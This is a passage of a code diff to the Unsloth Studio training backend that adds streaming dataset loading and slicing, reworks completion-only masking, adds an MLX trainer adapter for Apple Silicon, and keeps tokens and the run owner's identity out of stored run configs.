train" # Current stage - elapsed_seconds: Optional[float] = None - eta_seconds: Optional[float] = None - grad_norm: Optional[float] = None - num_tokens: Optional[int] = None - eval_loss: Optional[float] = None - - class UnslothTrainer: """ Unsloth Training Backend """ + def __new__(cls, *args, **kwargs): + if cls is UnslothTrainer and should_use_mlx_training_backend(): + return create_mlx_trainer_adapter(*args, **kwargs) + return super().__new__(cls) + def __init__(self): self.model = None self.tokenizer = None @@ -2274,17 +2219,18 @@ class UnslothTrainer: def load_and_format_dataset( self, - dataset_source: str, + dataset_source: Optional[str], format_type: str = "auto", - local_datasets: list = None, - local_eval_datasets: list = None, - custom_format_mapping: dict = None, - subset: str = None, + local_datasets: Optional[List[str]] = None, + local_eval_datasets: Optional[List[str]] = None, + custom_format_mapping: Optional[Dict[str, Any]] = None, + subset: Optional[str] = None, train_split: str = "train", - eval_split: str = None, + eval_split: Optional[str] = None, + dataset_streaming: bool = False, eval_steps: float = 0.00, - dataset_slice_start: int = None, - dataset_slice_end: int = None, + dataset_slice_start: Optional[int] = None, + dataset_slice_end: Optional[int] = None, is_cpt: bool = False, s3_config: dict = None, ) -> Optional[tuple]: @@ -2392,47 +2338,89 @@ class UnslothTrainer: if subset: load_kwargs["name"] = subset - _slice_start = dataset_slice_start or 0 - if ( - dataset_slice_end is not None - and dataset_slice_end >= 0 - and dataset_slice_end >= _slice_start - ): - # Manual slice — stream only needed rows, not the whole dataset. - rows_to_stream = dataset_slice_end + 1 + if dataset_streaming: + self._update_progress(status_message = f"Streaming dataset: {dataset_source}...") + dataset = load_dataset(**load_kwargs, streaming = True) + + # Optional iterable slicing + if dataset_slice_start is not None and dataset_slice_start > 0: + dataset = dataset.skip(dataset_slice_start) + + if dataset_slice_end is not None: + slice_start = dataset_slice_start or 0 + take_count = dataset_slice_end - slice_start + 1 + if take_count <= 0: + raise ValueError( + "Train Split End must be greater than or equal to Train Split Start." + ) + dataset = dataset.take(take_count) + # IterableDataset.take(N) yields *at most* N samples — if + # the source is shorter, the user silently gets fewer rows. + logger.warning( + f"Streaming slice requested up to {take_count} rows " + f"[{slice_start}, {dataset_slice_end}]; actual yield " + f"may be smaller if the dataset has fewer rows." + ) + if take_count == 1: + # start == end is a valid slice but produces a single + # training row, which is almost always user error. + logger.warning( + "Dataset slice resolves to a single row " + f"(start == end == {slice_start}); training on 1 " + "sample is likely unintended." + ) + logger.info( - f"[dataset-slice] Manual slice specified " - f"(start={dataset_slice_start}, end={dataset_slice_end}), " - f"streaming {rows_to_stream} rows\n" - ) - stream = load_dataset(**load_kwargs, streaming = True) - dataset = Dataset.from_list(list(stream.take(rows_to_stream))) - logger.info( - f"[dataset-slice] Downloaded {len(dataset)} rows " - f"(requested {rows_to_stream})\n" - ) - self._update_progress( - status_message = f"Streamed {len(dataset)} rows from HuggingFace" + f"Loaded Hugging Face dataset in streaming mode: {dataset_source}\n" ) + self._update_progress(status_message = f"Streaming {dataset_source}") else: - self._update_progress( - status_message = f"Downloading dataset: {dataset_source}..." - ) - dataset = load_dataset(**load_kwargs) + # Non-streaming: if a slice end is given, stream only the needed + # rows and materialize them (avoids downloading the whole dataset); + # the eager [start, end] trim happens further below. + _slice_start = dataset_slice_start or 0 + # streaming=True rejects HF slice syntax (e.g. "train[:50%]") + # with "Bad split", so the streaming shortcut is unusable when + # train_split already carries a slice expression, so fall back to + # the regular download path, which handles HF slice syntax. + _split_has_slice = (train_split or "").find("[") != -1 + if ( + not _split_has_slice + and dataset_slice_end is not None + and dataset_slice_end >= 0 + and dataset_slice_end >= _slice_start + ): + rows_to_stream = dataset_slice_end + 1 + logger.info( + f"[dataset-slice] Manual slice specified " + f"(start={dataset_slice_start}, end={dataset_slice_end}), " + f"streaming {rows_to_stream} rows\n" + ) + stream = load_dataset(**load_kwargs, streaming = True) + dataset = Dataset.from_list(list(stream.take(rows_to_stream))) + logger.info( + f"[dataset-slice] Downloaded {len(dataset)} rows " + f"(requested {rows_to_stream})\n" + ) + else: + self._update_progress( + status_message = f"Downloading dataset: {dataset_source}..." + ) + dataset = load_dataset(**load_kwargs) + + n_rows = len(dataset) if hasattr(dataset, "__len__") else 0 + self._update_progress( + status_message = f"Downloaded {dataset_source} ({n_rows:,} rows)" + ) + logger.info( + f"Loaded dataset from Hugging Face: {dataset_source} ({n_rows:,} rows)\n" + ) # Check if stopped during dataset loading if self.should_stop: logger.info("Stopped during dataset loading\n") return None - n_rows = len(dataset) if hasattr(dataset, "__len__") else 0 - self._update_progress( - status_message = f"Downloaded {dataset_source} ({n_rows:,} rows)" - ) - logger.info( - f"Loaded dataset from Hugging Face: {dataset_source} ({n_rows:,} rows)\n" - ) - # Resolve eval split from a separate HF split (explicit or auto) if eval_enabled: effective_train = train_split or "train" @@ -2442,17 +2430,69 @@ class UnslothTrainer: eval_load_kwargs = {"path": dataset_source, "split": eval_split} if subset: eval_load_kwargs["name"] = subset - eval_dataset = load_dataset(**eval_load_kwargs) + + if dataset_streaming: + # Probe available splits before the streaming load. + # load_dataset(streaming=True) returns an IterableDataset + # without validating the split name — a typo would only + # surface on the first eval batch mid-training. + from datasets import get_dataset_split_names + + probe_kwargs = {"path": dataset_source} + if subset: + probe_kwargs["config_name"] = subset + try: + available_splits = get_dataset_split_names(**probe_kwargs) + except Exception as probe_err: + raise ValueError( + f"Could not list splits for '{dataset_source}' " + f"to validate eval_split='{eval_split}': {probe_err}" + ) + # Streaming rejects HF slice syntax, and the request + # validator already blocks bracketed streaming splits, + # so eval_split here is always a bare split name. + if eval_split not in available_splits: + raise ValueError( + f"Requested eval split '{eval_split}' not found in " + f"dataset '{dataset_source}'. Available splits: " + f"{available_splits}" + ) + eval_dataset = load_dataset(**eval_load_kwargs, streaming = True) + # A streaming eval dataset has no __len__; bound it so + # each evaluation terminates instead of consuming the + # whole stream. .take() stays lazy and survives the + # later format/raw-text .map() passes. + if not hasattr(eval_dataset, "__len__"): + eval_dataset = eval_dataset.take(STREAMING_EVAL_MAX_SAMPLES) + logger.info( + f"Streaming eval split capped to " + f"{STREAMING_EVAL_MAX_SAMPLES} samples\n" + ) + else: + eval_dataset = load_dataset(**eval_load_kwargs) + has_separate_eval_source = True - logger.info( - f"Loaded eval split '{eval_split}' with {len(eval_dataset)} rows\n" - ) + if hasattr(eval_dataset, "__len__"): + logger.info( + f"Loaded eval split '{eval_split}' with {len(eval_dataset)} rows\n" + ) + else: + logger.info(f"Loaded eval split '{eval_split}' in streaming mode\n") elif eval_split and eval_split == effective_train: + if dataset_streaming: + raise ValueError( + "Streaming mode does not support using the same split for both train and eval. " + "Please provide a separate eval split or set eval_steps to 0." + ) # Same split as training — split 80/20 after formatting logger.info( f"Eval split '{eval_split}' is the same as train split — will split 80/20\n" ) else: + if dataset_streaming: + raise ValueError( + "Streaming mode currently requires an explicit eval split when evaluation is enabled." + ) # Auto-detect eval split from HF (separate dataset or None) eval_dataset = self._auto_detect_eval_split_from_hf( dataset_source = dataset_source, @@ -2466,8 +2506,12 @@ class UnslothTrainer: if dataset is None: raise ValueError("No dataset provided") - # Apply index range slicing if requested (inclusive both ends) - if dataset_slice_start is not None or dataset_slice_end is not None: + # Apply eager-only index range slicing if requested (inclusive on both ends). + # Streaming already sliced lazily via skip()/take() above; the non-streaming + # manual-slice path fetched up to end+1 rows and is trimmed to [start, end] here. + if (not dataset_streaming) and ( + dataset_slice_start is not None or dataset_slice_end is not None + ): total_rows = len(dataset) start = dataset_slice_start if dataset_slice_start is not None else 0 end = dataset_slice_end if dataset_slice_end is not None else total_rows - 1 @@ -2530,11 +2574,19 @@ class UnslothTrainer: } if has_separate_eval_source and eval_dataset is not None: + eval_rows = ( + f"{len(eval_dataset):,} rows" + if hasattr(eval_dataset, "__len__") + else "streaming" + ) logger.info( f"{_raw_mode_label().capitalize()}: eval dataset " - f"({len(eval_dataset)} rows) kept as raw text\n" + f"({eval_rows}) kept as raw text\n" ) - elif eval_enabled and not has_separate_eval_source: + elif eval_enabled and not has_separate_eval_source and not dataset_streaming: + # _resolve_eval_split_from_dataset does a train_test_split (needs + # len/random access). Streaming always provides a separate eval + # split (route-enforced), so this auto-split is non-streaming only. split_result = self._resolve_eval_split_from_dataset(dataset) if split_result is not None: train_portion, eval_dataset = split_result @@ -2548,10 +2600,12 @@ class UnslothTrainer: ) logger.info(f"Raw-text dataset ready ({n_display} samples)\n") - if "text" not in train_dataset.column_names: - raise ValueError( - f"Raw-text dataset missing 'text' column: {train_dataset.column_names}" - ) + # Streaming datasets can report column_names as None, which would + # make "text" not in None raise TypeError; resolve_column_names + # falls back to features/first-row probing. + train_columns = resolve_column_names(train_dataset) + if "text" not in train_columns: + raise ValueError(f"Raw-text dataset missing 'text' column: {train_columns}") return (dataset_info, eval_dataset) elif self.is_audio_vlm: @@ -2590,13 +2644,16 @@ class UnslothTrainer: final_n = len(final_ds) if hasattr(final_ds, "__len__") else "?" self._update_progress( status_message = f"Dataset ready ({final_n:,} samples, {detected} format)" + if isinstance(final_n, int) + else f"Dataset ready ({final_n} samples, {detected} format)" ) logger.info(f"Dataset formatted successfully ({final_n} samples, {detected})\n") # ========== THEN SPLIT ========== if has_separate_eval_source and eval_dataset is not None: # Eval came from a separate HF split — format it too - logger.info(f"Formatting eval dataset ({len(eval_dataset)} rows)...\n") + eval_n = len(eval_dataset) if hasattr(eval_dataset, "__len__") else "?" + logger.info(f"Formatting eval dataset ({eval_n} rows)...\n") eval_info = format_and_template_dataset( eval_dataset, model_name = self.model_name, @@ -2607,8 +2664,8 @@ class UnslothTrainer: custom_format_mapping = custom_format_mapping, ) eval_dataset = eval_info["dataset"] - logger.info(f"Eval dataset formatted successfully\n") - elif eval_enabled and not has_separate_eval_source: + logger.info("Eval dataset formatted successfully\n") + elif eval_enabled and not has_separate_eval_source and not dataset_streaming: # No separate eval source — split the already-formatted dataset formatted_dataset = dataset_info["dataset"] split_result = self._resolve_eval_split_from_dataset(formatted_dataset) @@ -2809,7 +2866,11 @@ class UnslothTrainer: loader = self.trainer.get_train_dataloader() batch = next(iter(loader)) except StopIteration: - return None + return ( + "Cannot start training: the dataset produced no training rows. " + "This usually means a split/slice or streaming filter removed every " + "row. Check your train split, slice range, and dataset filters." + ) except Exception as e: model = self.model_name or "this model" return ( @@ -2849,8 +2910,15 @@ class UnslothTrainer: f"columns are mapped correctly for '{model}'." ) - def _train_worker(self, dataset: Dataset, **training_args): - """Worker function for training (runs in separate thread)""" + def _train_worker(self, dataset: Dataset | dict, **training_args): + """Worker function for training (runs in separate thread). + + ``dataset`` is either a raw ``datasets.Dataset`` (audio preprocessing + paths such as CSM / Whisper / SNAC / Audio-VLM) or a ``dict`` wrapper + returned by ``format_and_template_dataset`` (text and image VLM paths). + Streaming HF datasets arrive wrapped in the latter ``dict`` — they are + never passed as a bare ``IterableDataset``. + """ try: # On spawn platforms, register compiled-cache dirs on sys.path/PYTHONPATH # before any dataset.map() so spawned workers can import compiled @@ -3179,7 +3247,7 @@ class UnslothTrainer: else: # Default if neither provided config_args["warmup_steps"] = 5 - logger.info(f"Using default warmup_steps: 5\n") + logger.info("Using default warmup_steps: 5\n") # Add save_steps if specified save_steps_val = training_args.get("save_steps", 0) @@ -3187,7 +3255,7 @@ class UnslothTrainer: config_args["save_steps"] = save_steps_val config_args["save_strategy"] = "steps" - # If max_steps is specified, use it instead of epochs + # If max_steps is specified, use it instead of epochs max_steps_val = training_args.get("max_steps", 0) if max_steps_val and max_steps_val > 0: del config_args["num_train_epochs"] @@ -3209,7 +3277,10 @@ class UnslothTrainer: logger.info( f"✅ Evaluation enabled: eval_steps={eval_steps_val} (fraction of total steps)\n" ) - logger.info(f"Eval dataset: {len(eval_dataset)} rows\n") + if hasattr(eval_dataset, "__len__"): + logger.info(f"Eval dataset: {len(eval_dataset)} rows\n") + else: + logger.info("Eval dataset is streaming / length unknown\n") else: logger.info( f"⚠️ Eval dataset provided but eval_steps={eval_steps_val} (disabled)\n" @@ -3263,6 +3334,12 @@ class UnslothTrainer: # Packing for text models only (DeepSeek OCR is VLM) if not is_deepseek_ocr: packing_enabled = training_args.get("packing", False) + if packing_enabled and training_args.get("dataset_streaming", False): + logger.warning( + "Sequence packing is enabled with dataset streaming: " + "max_steps governs training length and packed-sample " + "counts are approximate since the stream length is unknown.\n" + ) config_args["packing"] = packing_enabled logger.info( f"Sequence packing: {'enabled' if packing_enabled else 'disabled'}\n" @@ -3281,10 +3358,10 @@ class UnslothTrainer: logger.info("Training configuration prepared\n") # ========== TRAINER INITIALIZATION ========== if self.is_audio_vlm and not raw_text_mode: - # Audio VLM (e.g. Gemma 3N): raw Dataset from - # _format_audio_vlm_dataset, processing_class=processor.tokenizer. - # Raw-text runs go to the text path below. - train_dataset = dataset if isinstance(dataset, Dataset) else dataset["dataset"] + # Audio VLM (e.g. Gemma 3N + audio): raw Dataset from _format_audio_vlm_dataset + # Notebook uses processing_class=processor.tokenizer (text tokenizer only) + # Raw-text runs are routed to the text path below. + train_dataset = dataset["dataset"] if isinstance(dataset, dict) else dataset processing_class = ( self.tokenizer.tokenizer if hasattr(self.tokenizer, "tokenizer") @@ -3325,9 +3402,7 @@ class UnslothTrainer: if isinstance(self.tokenizer, ProcessorMixin) and hasattr( self.tokenizer, "tokenizer" ): - logger.info( - f" ⚠️ Unwrapping Processor → raw tokenizer for text-only SFTTrainer" - ) + logger.info("Unwrapping Processor → raw tokenizer for text-only SFTTrainer") sft_tokenizer = self.tokenizer.tokenizer if is_cpt: @@ -3380,8 +3455,6 @@ class UnslothTrainer: # ========== TRAIN ON RESPONSES ONLY ========== # Raw-text datasets always train on all tokens. - instruction_part = None - response_part = None is_cpt = training_args.get("is_cpt", False) train_on_responses_enabled = ( False @@ -3398,119 +3471,93 @@ class UnslothTrainer: # DeepSeek OCR handles this internally in its collator, so skip # Audio VLM handles label masking in its collator, so skip + # Markers auto-detected from the chat template first, manual table + # as fallback; gpt-oss stays on its manual markers. See + # apply_completion_masking. if ( train_on_responses_enabled and not self.is_audio_vlm and not self.is_audio and not (is_deepseek_ocr or dataset_final_format == "alpaca") ): - try: - logger.info("Configuring train on responses only...\n") + from unsloth.chat_templates import train_on_responses_only - # Template mapping for this model - model_name_lower = self.model_name.lower() + logger.info("Configuring train on responses only...\n") - if model_name_lower in MODEL_TO_TEMPLATE_MAPPER: - template_name = MODEL_TO_TEMPLATE_MAPPER[model_name_lower] - logger.info(f"Detected template: {template_name}\n") - - if template_name in TEMPLATE_TO_RESPONSES_MAPPER: - instruction_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name][ - "instruction" - ] - response_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name]["response"] - - logger.info(f"Instruction marker: {instruction_part[:50]}...\n") - logger.info(f"Response marker: {response_part[:50]}...\n") - else: - logger.info( - f"No response mapping found for template: {template_name}\n" - ) - train_on_responses_enabled = False + def _notify(level, message): + if level == "warning": + logger.warning(message) else: - logger.info(f"No template mapping found for model: {self.model_name}\n") - train_on_responses_enabled = False + logger.info(f"{message}\n") - except Exception as e: - logger.warning(f"Could not configure train on responses: {e}") + # No try/except: the helper handles detection failures and + # double misses itself, so an exception here is a real masking + # failure that must fail the run, not silently train on full + # sequences. + self.trainer, masking_applied = apply_completion_masking( + self.trainer, + self.model_name, + train_on_responses_only, + num_proc = config_args["dataset_num_proc"], + notify = _notify, + ) + + if not masking_applied: train_on_responses_enabled = False - # Apply train on responses only if we have valid parts - if ( - train_on_responses_enabled - and instruction_part - and response_part - and not self.is_audio_vlm - and not self.is_audio - and not (is_deepseek_ocr or dataset_final_format == "alpaca") - ): - try: - from unsloth.chat_templates import train_on_responses_only + if masking_applied: + try: + # ── Safety net: check if all samples were filtered out ── + # train_on_responses_only masks non-response tokens with -100; a + # row becomes all -100 (Unsloth drops it) when the response + # template is not found in the formatted text. Usually a + # dataset/template mismatch (already-formatted data, or 'Train on + # completions' on data that doesn't match the model's chat + # template); only sometimes max_seq_length truncating the response + # away. Skip this len()-based check for streaming. + if detect_streaming_dataset(self.trainer.train_dataset): + logger.info("Skipping post-filter length check for streaming dataset\n") + else: + filtered_len = len(self.trainer.train_dataset) + original_dataset_obj = ( + dataset["dataset"] if isinstance(dataset, dict) else dataset + ) + original_len = len(original_dataset_obj) + dropped = original_len - filtered_len + drop_pct = ( + round(100 * dropped / original_len, 1) if original_len > 0 else 0 + ) - self.trainer = train_on_responses_only( - self.trainer, - instruction_part = instruction_part, - response_part = response_part, - num_proc = config_args["dataset_num_proc"], - ) - logger.info("Train on responses only configured successfully\n") + if filtered_len == 0 or drop_pct > 30: + max_seq = training_args.get("max_seq_length", 2048) + error_msg = ( + f"{dropped}/{original_len} samples ({drop_pct}%) were " + f"dropped after applying 'Train on completions': after " + f"masking, those rows had no trainable response tokens " + f"left. The usual cause is that this model's response " + f"template was not found in the formatted samples, so " + f"every token was masked out. That typically means the " + f"dataset is already formatted, or its structure does " + f"not match the model's chat template, so 'Train on " + f"completions' should be turned off for this dataset. " + f"Less commonly, a max_seq_length ({max_seq}) shorter " + f"than the prompt can truncate the response away; only " + f"raise it if your samples are actually longer than that." + ) + logger.error(error_msg) + self._update_progress(error = error_msg, is_training = False) + return - # Safety net: train_on_responses_only masks non-response - # tokens with -100. If max_seq_length is too short, the - # response is truncated away, every sample becomes all -100, - # and Unsloth drops them, leaving 0 usable samples. - filtered_len = len(self.trainer.train_dataset) - original_len = len(dataset["dataset"]) - dropped = original_len - filtered_len - drop_pct = round(100 * dropped / original_len, 1) if original_len > 0 else 0 + if dropped > 0: + logger.info( + f"⚠️ {dropped}/{original_len} samples " + f"({drop_pct}%) were dropped (all labels " + f"masked). {filtered_len} samples remain.\n" + ) + logger.info(f"Post-filter dataset size: {filtered_len} samples\n") - if filtered_len == 0 or drop_pct > 30: - max_seq = training_args.get("max_seq_length", 2048) - error_msg = ( - f"{dropped}/{original_len} samples ({drop_pct}%) " - f"were dropped after applying 'train on responses " - f"only' — only {filtered_len} remain. This usually " - f"means max_seq_length ({max_seq}) is too short " - f"and the response portion is being truncated " - f"away. Try increasing max_seq_length (e.g. 8192) " - f"or disabling 'Train on completions'." - ) - logger.error(error_msg) - self._update_progress(error = error_msg, is_training = False) - return - - if dropped > 0: - logger.info( - f"⚠️ {dropped}/{original_len} samples " - f"({drop_pct}%) were dropped (all labels " - f"masked). {filtered_len} samples remain.\n" - ) - logger.info(f"Post-filter dataset size: {filtered_len} samples\n") - - # [DEBUG] Decode first sample AFTER train_on_completions applied - # try: - # _row = self.trainer.train_dataset[0] - # _space = self.tokenizer( - # " ", add_special_tokens = False - # ).input_ids[0] - # print("[DEBUG] === After train_on_completions ===", flush = True) - # print( - # f"[DEBUG] input_ids decoded:\n{self.tokenizer.decode(_row['input_ids'])}\n", - # flush = True, - # ) - # print( - # f"[DEBUG] labels decoded (-100 → space):\n{self.tokenizer.decode([_space if x == -100 else x for x in _row['labels']])}\n", - # flush = True, - # ) - # except Exception as _dbg_e: - # print( - # f"[DEBUG] Could not decode post-completions sample: {_dbg_e}", - # flush = True, - # ) - - except Exception as e: - logger.warning(f"Failed to apply train on responses only: {e}") - train_on_responses_enabled = False + except Exception as e: + logger.warning(f"Post-masking dataset size check failed: {e}") else: if train_on_responses_enabled and is_deepseek_ocr: logger.info("Train on responses handled by DeepSeek OCR collator\n") @@ -3520,27 +3567,41 @@ class UnslothTrainer: # ========== PROGRESS TRACKING ========== self.trainer.add_callback(self._create_progress_callback()) - num_samples = None - if hasattr(self.trainer, "train_dataset") and self.trainer.train_dataset is not None: - try: - num_samples = len(self.trainer.train_dataset) - except TypeError: - logger.debug( - "train_dataset does not support len(); falling back to " - "raw dataset size for step estimation." - ) + train_dataset_obj = dataset["dataset"] if isinstance(dataset, dict) else dataset + is_streaming_dataset = detect_streaming_dataset(train_dataset_obj) - if num_samples is None: - num_samples = len(dataset["dataset"] if isinstance(dataset, dict) else dataset) + max_steps_value = training_args.get("max_steps") + max_steps = 0 if max_steps_value is None else int(max_steps_value) - batch_size = training_args.get("batch_size", 2) - total_steps = self._calculate_total_steps( - num_samples, - batch_size, - training_args.get("gradient_accumulation_steps", 4), - training_args.get("num_epochs", 3), - training_args.get("max_steps", 0), - ) + if is_streaming_dataset and max_steps <= 0: + raise ValueError( + "Streaming mode requires max_steps > 0 because the training dataset has no length." + ) + + if is_streaming_dataset: + total_steps = max_steps + else: + # Prefer the trainer's processed dataset length (post + # train-on-responses filtering); fall back to the raw dataset + # if it has no len(). + num_samples = None + if getattr(self.trainer, "train_dataset", None) is not None: + try: + num_samples = len(self.trainer.train_dataset) + except TypeError: + num_samples = None + if num_samples is None: + num_samples = len(train_dataset_obj) + batch_size = training_args.get("batch_size", 2) + total_steps = self._calculate_total_steps( + num_samples, + batch_size, + training_args.get("gradient_accumulation_steps", 4), + training_args.get("num_epochs", 3), + max_steps, + ) + + self._update_progress(total_steps = total_steps) # ========== START TRAINING ========== # Fail fast on an invalid first batch (empty/float input_ids) vs a step-1 crash. preflight_error = self._preflight_first_batch() @@ -3578,7 +3639,7 @@ class UnslothTrainer: return try: - with open(config_path, "r") as f: + with open(config_path, "r", encoding = "utf-8") as f: config = json.load(f) # Determine training method @@ -3592,7 +3653,7 @@ class UnslothTrainer: config["unsloth_training_method"] = method logger.info(f"Patching adapter_config.json with unsloth_training_method='{method}'") - with open(config_path, "w") as f: + with open(config_path, "w", encoding = "utf-8") as f: json.dump(config, f, indent = 2) except Exception as e: diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py index 5a1f40d82f..2ddda19951 100644 --- a/studio/backend/core/training/training.py +++ b/studio/backend/core/training/training.py @@ -14,19 +14,22 @@ import json as _json import math import multiprocessing as mp import os +import platform import queue import re import shutil import threading import time +import traceback import structlog from datetime import datetime, timezone from loggers import get_logger -from dataclasses import dataclass, field +from dataclasses import dataclass, field, replace from pathlib import Path -from typing import Optional, Tuple, Any +from typing import Optional, Tuple, Any, Callable, Union, TYPE_CHECKING -import matplotlib.pyplot as plt +if TYPE_CHECKING: + import matplotlib.pyplot as plt from utils.hardware import prepare_gpu_selection from utils.native_path_leases import ( native_path_secret_removed_for_child_start, @@ -36,6 +39,30 @@ from utils.paths import outputs_root logger = get_logger(__name__) +_pyplot = None +_pyplot_failed = False + + +def _load_pyplot(): + """Lazily import matplotlib.pyplot (headless Agg); return it, or None if + matplotlib is unavailable. Deferred so a blocked native wheel (e.g. Windows + Smart App Control) never breaks server startup, only loss plotting. + """ + global _pyplot, _pyplot_failed + if _pyplot is not None or _pyplot_failed: + return _pyplot + try: + import matplotlib + + matplotlib.use("Agg") # headless backend + import matplotlib.pyplot as plt + + _pyplot = plt + except Exception as e: + _pyplot_failed = True + logger.warning("matplotlib unavailable; loss plots disabled", error = str(e)) + return _pyplot + def _coerce_seed(value, default = 3407) -> int: """Normalize None / non-int to `default` (transformers.set_seed(None) raises).""" @@ -73,12 +100,117 @@ def _coerce_optional_nonneg_float(name: str, value): return coerced +def is_apple_silicon_training_platform() -> bool: + return platform.system() == "Darwin" and platform.machine() == "arm64" + + +def is_mlx_training_device(device: Any) -> bool: + return ( + str(device).lower() == "mlx" + or str(device).lower().endswith(".mlx") + or getattr(device, "name", "").lower() == "mlx" + ) + + +def should_use_mlx_training_backend(*, device: Optional[Any] = None) -> bool: + if device is not None: + return is_mlx_training_device(device) + return is_apple_silicon_training_platform() + + +def _build_training_worker_config(values: dict[str, Any]) -> dict[str, Any]: + """Build the normalized worker config shared by Studio and the CLI adapter.""" + config = { + "model_name": values["model_name"], + "project_name": values.get("project_name"), + "training_type": values.get("training_type", "LoRA/QLoRA"), + "hf_token": values.get("hf_token", ""), + "load_in_4bit": values.get("load_in_4bit", True), + "max_seq_length": values.get("max_seq_length", 2048), + "vision_image_size": values.get("vision_image_size"), + "hf_dataset": values.get("hf_dataset", ""), + "local_datasets": values.get("local_datasets"), + "local_eval_datasets": values.get("local_eval_datasets"), + "format_type": values.get("format_type", ""), + "subset": values.get("subset"), + "train_split": values.get("train_split", "train"), + "eval_split": values.get("eval_split"), + "eval_steps": values.get("eval_steps", 0.00), + "dataset_streaming": values.get("dataset_streaming", False), + "dataset_slice_start": values.get("dataset_slice_start"), + "dataset_slice_end": values.get("dataset_slice_end"), + "custom_format_mapping": values.get("custom_format_mapping"), + "is_dataset_image": values.get("is_dataset_image", False), + "is_dataset_audio": values.get("is_dataset_audio", False), + "is_embedding": values.get("is_embedding", False), + "num_epochs": values.get("num_epochs", 3), + "learning_rate": values.get("learning_rate", "2e-4"), + "embedding_learning_rate": values.get("embedding_learning_rate"), + "batch_size": values.get("batch_size", 2), + "gradient_accumulation_steps": values.get("gradient_accumulation_steps", 4), + "warmup_steps": values.get("warmup_steps"), + "warmup_ratio": values.get("warmup_ratio"), + "max_steps": values.get("max_steps", 0), + "save_steps": values.get("save_steps", 0), + "weight_decay": values.get("weight_decay", 0.001), + "max_grad_norm": values.get("max_grad_norm", 0.0), + "max_grad_value": _coerce_optional_nonneg_float( + "max_grad_value", values.get("max_grad_value") + ), + "max_grad_leaf_norm": _coerce_optional_nonneg_float( + "max_grad_leaf_norm", values.get("max_grad_leaf_norm") + ), + "cast_norm_output_to_input_dtype": _coerce_optional_bool( + values.get("cast_norm_output_to_input_dtype"), True + ), + "random_seed": _coerce_seed(values.get("random_seed")), + "packing": values.get("packing", False), + "optim": values.get("optim", "adamw_8bit"), + "lr_scheduler_type": values.get("lr_scheduler_type", "linear"), + "use_lora": values.get("use_lora", True), + "lora_r": values.get("lora_r", 16), + "lora_alpha": values.get("lora_alpha", 16), + "lora_dropout": values.get("lora_dropout", 0.0), + "target_modules": values.get("target_modules"), + "gradient_checkpointing": values.get("gradient_checkpointing", "unsloth"), + "use_rslora": values.get("use_rslora", False), + "use_loftq": values.get("use_loftq", False), + "train_on_completions": values.get("train_on_completions", False), + "finetune_vision_layers": values.get("finetune_vision_layers", True), + "finetune_language_layers": values.get("finetune_language_layers", True), + "finetune_attention_modules": values.get("finetune_attention_modules", True), + "finetune_mlp_modules": values.get("finetune_mlp_modules", True), + "enable_wandb": values.get("enable_wandb", False), + "wandb_token": values.get("wandb_token"), + "wandb_project": values.get("wandb_project", "unsloth-training"), + "enable_tensorboard": values.get("enable_tensorboard", False), + "tensorboard_dir": values.get("tensorboard_dir", "runs"), + "resume_from_checkpoint": values.get("resume_from_checkpoint"), + "trust_remote_code": values.get("trust_remote_code", False), + "approved_remote_code_fingerprint": values.get("approved_remote_code_fingerprint"), + "subject": values.get("subject"), + "gpu_ids": values.get("gpu_ids"), + "s3_config": values.get("s3_config"), + "disable_xet": values.get("disable_xet", False), + } + for key in ("output_dir", "allow_external_output_dir"): + if key in values: + config[key] = values.get(key) + if config["training_type"] == "Full Finetuning": + config["load_in_4bit"] = False + return config + + _HF_TMP_CHECKPOINT_RE = re.compile(r"^tmp-checkpoint-\d+$") def _sanitize_db_config(config: dict[str, Any]) -> dict[str, Any]: + # ``subject`` (the run owner's username / API-key id) is worker-only metadata; never + # persist it to config_json, which run-history GET returns to any authenticated user. db_config = { - k: v for k, v in config.items() if k not in {"hf_token", "wandb_token", "s3_config"} + k: v + for k, v in config.items() + if k not in {"hf_token", "wandb_token", "s3_config", "subject"} } s3_config = config.get("s3_config") if hasattr(s3_config, "model_dump"): @@ -104,7 +236,7 @@ def _s3_dataset_name(s3_dataset: Any) -> Optional[str]: return f"s3://{bucket}/{prefix}" if prefix else f"s3://{bucket}" -def _cleanup_cancelled_checkpoints(output_dir: str | os.PathLike) -> None: +def _cleanup_cancelled_checkpoints(output_dir: Union[str, os.PathLike]) -> None: """Remove only HF Trainer ``tmp-checkpoint-/`` partials after a cancel. Completed ``checkpoint-/`` dirs survive. Symlinked output_dir / children @@ -154,7 +286,7 @@ PLOT_HEIGHT = 3.5 @dataclass class TrainingProgress: - """Mirror of trainer.TrainingProgress so the parent never imports heavy ML modules.""" + """Shared training progress payload for Studio and backend-aware trainers.""" epoch: float = 0 step: int = 0 @@ -171,6 +303,423 @@ class TrainingProgress: num_tokens: Optional[int] = None eval_loss: Optional[float] = None peak_memory_gb: Optional[float] = None + output_dir: Optional[str] = None + + +class _MLXTrainerAdapter: + """Adapts the legacy UnslothTrainer API to the shared Studio MLX worker path.""" + + def __init__(self): + self.model = None + self.tokenizer = None + self.trainer = None + self.training_thread = None + self.training_progress = TrainingProgress() + self.progress_callbacks: list[Callable[[TrainingProgress], None]] = [] + self.is_training = False + self.should_stop = False + self.save_on_stop = True + self.load_in_4bit = True + self.output_dir = None + + self.is_cpt = False + self.is_vlm = False + self.is_audio = False + self.is_audio_vlm = False + self.model_name = None + self.max_seq_length = None + + self._model_config: dict[str, Any] = {} + self._peft_config: dict[str, Any] = {} + self._dataset_config: dict[str, Any] = {} + self._event_queue: Optional[queue.Queue] = None + self._stop_queue: Optional[queue.Queue] = None + self._pump_thread: Optional[threading.Thread] = None + self._lock = threading.Lock() + + def _activate_transformers_for_model(self, model_name: str, hf_token: Optional[str]) -> None: + try: + from utils.transformers_version import activate_transformers_for_subprocess + activate_transformers_for_subprocess(model_name, hf_token) + except Exception as exc: + logger.warning("MLX trainer adapter Transformers activation failed", error = str(exc)) + + def add_progress_callback(self, callback: Callable[[TrainingProgress], None]): + self.progress_callbacks.append(callback) + + def _update_progress(self, **kwargs): + with self._lock: + for key, value in kwargs.items(): + if hasattr(self.training_progress, key): + setattr(self.training_progress, key, value) + progress = self.training_progress + for callback in self.progress_callbacks: + try: + callback(progress) + except Exception: + pass + + def load_model( + self, + model_name: str, + max_seq_length: int = 2048, + load_in_4bit: bool = True, + hf_token: Optional[str] = None, + is_dataset_image: bool = False, + is_dataset_audio: bool = False, + trust_remote_code: bool = False, + full_finetuning: bool = False, + gpu_ids: Optional[list[int]] = None, + ) -> bool: + 